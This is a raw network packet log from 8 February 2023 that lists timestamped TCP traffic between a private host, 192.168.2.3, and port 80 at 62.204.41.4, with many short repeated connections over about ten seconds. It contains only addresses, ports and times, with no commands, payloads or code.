Feb 8, 2023 21:31:53.154455900 CET	49835	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:53.156491995 CET	80	49836	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:53.156661034 CET	49836	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:53.163923025 CET	49836	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:53.225709915 CET	80	49836	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:53.229603052 CET	80	49836	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:53.229840040 CET	49836	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:53.993431091 CET	49836	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:53.994800091 CET	49837	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.054203033 CET	80	49837	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:54.054414988 CET	49837	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.055186987 CET	80	49836	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:54.055289984 CET	49836	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.069031000 CET	49837	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.128794909 CET	80	49837	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:54.132919073 CET	80	49837	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:54.133102894 CET	49837	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.262301922 CET	49837	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.263242960 CET	49838	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.321727037 CET	80	49837	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:54.321896076 CET	49837	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.324902058 CET	80	49838	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:54.325114965 CET	49838	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.373775959 CET	49838	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:54.435182095 CET	80	49838	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:54.438036919 CET	80	49838	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:54.438188076 CET	49838	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:55.368546963 CET	49838	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:55.369498014 CET	49839	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:55.430208921 CET	80	49838	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:55.430401087 CET	49838	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:55.432041883 CET	80	49839	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:55.432228088 CET	49839	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:55.963336945 CET	49839	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.026760101 CET	80	49839	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.031137943 CET	80	49839	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.031383038 CET	49839	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.189770937 CET	49839	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.190593004 CET	49840	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.252007008 CET	80	49839	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.252063036 CET	80	49840	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.252233028 CET	49839	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.252300024 CET	49840	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.252732038 CET	49840	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.314606905 CET	80	49840	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.321096897 CET	80	49840	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.321201086 CET	49840	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.434432030 CET	49840	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.437201977 CET	49841	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.497483969 CET	80	49840	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.497598886 CET	49840	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.501368046 CET	80	49841	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.501485109 CET	49841	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.501983881 CET	49841	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.564415932 CET	80	49841	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.567166090 CET	80	49841	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.567311049 CET	49841	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.712316990 CET	49841	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.714586020 CET	49842	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.775037050 CET	80	49842	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.775084972 CET	80	49841	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.775224924 CET	49841	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.775260925 CET	49842	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.777808905 CET	49842	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.838301897 CET	80	49842	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.840537071 CET	80	49842	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:56.840632915 CET	49842	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.950476885 CET	49842	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:56.951471090 CET	49843	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.010909081 CET	80	49842	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.011159897 CET	49842	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.014081001 CET	80	49843	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.014251947 CET	49843	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.016438007 CET	49843	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.079014063 CET	80	49843	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.083431959 CET	80	49843	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.083602905 CET	49843	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.200978994 CET	49843	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.201905012 CET	49844	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.262294054 CET	80	49844	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.262489080 CET	49844	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.262975931 CET	49844	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.263708115 CET	80	49843	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.263817072 CET	49843	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.323142052 CET	80	49844	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.326699972 CET	80	49844	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.326839924 CET	49844	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.434897900 CET	49844	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.435899973 CET	49845	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.495274067 CET	80	49844	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.495306015 CET	80	49845	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.495484114 CET	49844	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.495551109 CET	49845	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.496565104 CET	49845	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.558566093 CET	80	49845	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.558598042 CET	80	49845	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.558747053 CET	49845	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.674299955 CET	49845	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.675331116 CET	49846	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.734924078 CET	80	49845	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.734965086 CET	80	49846	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.735246897 CET	49845	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.735352039 CET	49846	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.735833883 CET	49846	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.795732021 CET	80	49846	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.798593044 CET	80	49846	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.798688889 CET	49846	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.906105042 CET	49846	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.906832933 CET	49847	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.966314077 CET	80	49846	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.966344118 CET	80	49847	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:57.966450930 CET	49846	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.966512918 CET	49847	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:57.967039108 CET	49847	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.026937962 CET	80	49847	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.030903101 CET	80	49847	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.031024933 CET	49847	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.144598007 CET	49847	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.145302057 CET	49848	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.206949949 CET	80	49847	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.207144022 CET	49847	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.208991051 CET	80	49848	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.209188938 CET	49848	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.209736109 CET	49848	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.274888992 CET	80	49848	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.275710106 CET	80	49848	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.275850058 CET	49848	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.387490034 CET	49848	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.388520956 CET	49849	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.449997902 CET	80	49849	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.450033903 CET	80	49848	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.450225115 CET	49848	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.451128960 CET	49849	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.454915047 CET	49849	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.516402006 CET	80	49849	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.518615007 CET	80	49849	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.518815041 CET	49849	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.622884989 CET	49849	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.624500990 CET	49850	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.684216976 CET	80	49849	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.684319973 CET	49849	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.685909986 CET	80	49850	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.686016083 CET	49850	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.686515093 CET	49850	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.748091936 CET	80	49850	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.752574921 CET	80	49850	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.752803087 CET	49850	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.884293079 CET	49850	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.886657953 CET	49851	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.945882082 CET	80	49850	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.946125984 CET	49850	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.949057102 CET	80	49851	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:58.949280024 CET	49851	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:58.949709892 CET	49851	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.012109041 CET	80	49851	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.014894009 CET	80	49851	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.015018940 CET	49851	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.121193886 CET	49851	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.122713089 CET	49852	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.183384895 CET	80	49852	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.183545113 CET	49852	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.183667898 CET	80	49851	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.183737040 CET	49851	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.185303926 CET	49852	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.245997906 CET	80	49852	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.249834061 CET	80	49852	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.249967098 CET	49852	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.356786013 CET	49852	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.357577085 CET	49853	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.417582035 CET	80	49852	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.417773008 CET	49852	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.418849945 CET	80	49853	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.419053078 CET	49853	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.419398069 CET	49853	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.480626106 CET	80	49853	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.483755112 CET	80	49853	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.483948946 CET	49853	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.596632004 CET	49853	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.597913980 CET	49854	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.658093929 CET	80	49853	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.658133030 CET	80	49854	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.658329964 CET	49854	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.658344984 CET	49853	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.659125090 CET	49854	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.719495058 CET	80	49854	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.722232103 CET	80	49854	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.722418070 CET	49854	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.825189114 CET	49854	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.825918913 CET	49855	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.885730028 CET	80	49854	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.885848999 CET	49854	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.888314009 CET	80	49855	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.888560057 CET	49855	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.888895035 CET	49855	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:59.951157093 CET	80	49855	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.953712940 CET	80	49855	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:59.955141068 CET	49855	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.064884901 CET	49855	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.067078114 CET	49856	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.127449989 CET	80	49855	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.127816916 CET	80	49856	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.127975941 CET	49855	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.128005981 CET	49856	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.132401943 CET	49856	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.193321943 CET	80	49856	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.197011948 CET	80	49856	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.200190067 CET	49856	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.310120106 CET	49856	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.310914993 CET	49857	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.374469995 CET	80	49856	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.375174999 CET	49856	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.375668049 CET	80	49857	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.375835896 CET	49857	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.376327991 CET	49857	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.437841892 CET	80	49857	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.440331936 CET	80	49857	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.440574884 CET	49857	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.543535948 CET	49857	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.544378996 CET	49858	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.605112076 CET	80	49857	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.606029034 CET	80	49858	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.606201887 CET	49857	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.606355906 CET	49858	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.606919050 CET	49858	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.668695927 CET	80	49858	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.671504974 CET	80	49858	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.671678066 CET	49858	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.780101061 CET	49858	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.781122923 CET	49859	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.841793060 CET	80	49858	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.842147112 CET	80	49859	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.842318058 CET	49858	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.842365980 CET	49859	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.842849970 CET	49859	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:00.903975964 CET	80	49859	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.908272982 CET	80	49859	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:00.908626080 CET	49859	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.051594973 CET	49859	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.052700043 CET	49860	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.112874985 CET	80	49859	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.113028049 CET	49859	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.114262104 CET	80	49860	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.114387989 CET	49860	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.115035057 CET	49860	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.176729918 CET	80	49860	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.181586027 CET	80	49860	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.183362007 CET	49860	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.293445110 CET	49860	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.294388056 CET	49861	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.354887962 CET	80	49861	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.355010033 CET	49861	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.355125904 CET	80	49860	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.355215073 CET	49860	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.357770920 CET	49861	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.418379068 CET	80	49861	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.421011925 CET	80	49861	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.421103001 CET	49861	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.530817032 CET	49861	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.531737089 CET	49862	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.591561079 CET	80	49861	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.591676950 CET	49861	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.592992067 CET	80	49862	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.593135118 CET	49862	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.593617916 CET	49862	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.654962063 CET	80	49862	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.659683943 CET	80	49862	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.659877062 CET	49862	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.763289928 CET	49862	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.764292955 CET	49863	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.824882984 CET	80	49862	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.825072050 CET	49862	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.825706959 CET	80	49863	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.825901985 CET	49863	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.828272104 CET	49863	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.889719963 CET	80	49863	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.892541885 CET	80	49863	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:01.892673016 CET	49863	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.997565985 CET	49863	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:01.998878956 CET	49864	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.059195995 CET	80	49863	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.059406996 CET	49863	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.059602976 CET	80	49864	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.059748888 CET	49864	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.060205936 CET	49864	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.121258974 CET	80	49864	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.125123978 CET	80	49864	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.125252962 CET	49864	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.232312918 CET	49864	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.233288050 CET	49865	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.298511028 CET	80	49864	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.298544884 CET	80	49865	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.298659086 CET	49864	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.298764944 CET	49865	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.300344944 CET	49865	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.371242046 CET	80	49865	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.371283054 CET	80	49865	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.371501923 CET	49865	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.492688894 CET	49865	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.500221014 CET	49866	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.553539991 CET	80	49865	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.553637028 CET	49865	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.559905052 CET	80	49866	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.560038090 CET	49866	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.560496092 CET	49866	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.619992971 CET	80	49866	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.622514963 CET	80	49866	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.622739077 CET	49866	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.731487989 CET	49866	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.732211113 CET	49867	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.791171074 CET	80	49866	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.791337967 CET	49866	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.793545008 CET	80	49867	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.793654919 CET	49867	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.794106007 CET	49867	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.855611086 CET	80	49867	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.858184099 CET	80	49867	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:02.858422041 CET	49867	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.966305971 CET	49867	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:02.967025995 CET	49868	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.027856112 CET	80	49868	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.027883053 CET	80	49867	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.027986050 CET	49868	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.028012991 CET	49867	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.033762932 CET	49868	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.094484091 CET	80	49868	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.097748041 CET	80	49868	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.097934008 CET	49868	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.232737064 CET	49868	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.234822035 CET	49869	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.293546915 CET	80	49868	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.293621063 CET	49868	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.296190023 CET	80	49869	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.296283960 CET	49869	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.296837091 CET	49869	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.358360052 CET	80	49869	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.360726118 CET	80	49869	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.360934973 CET	49869	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.481683016 CET	49869	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.482556105 CET	49870	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.542915106 CET	80	49870	62.204.41.4	192.168.2.3
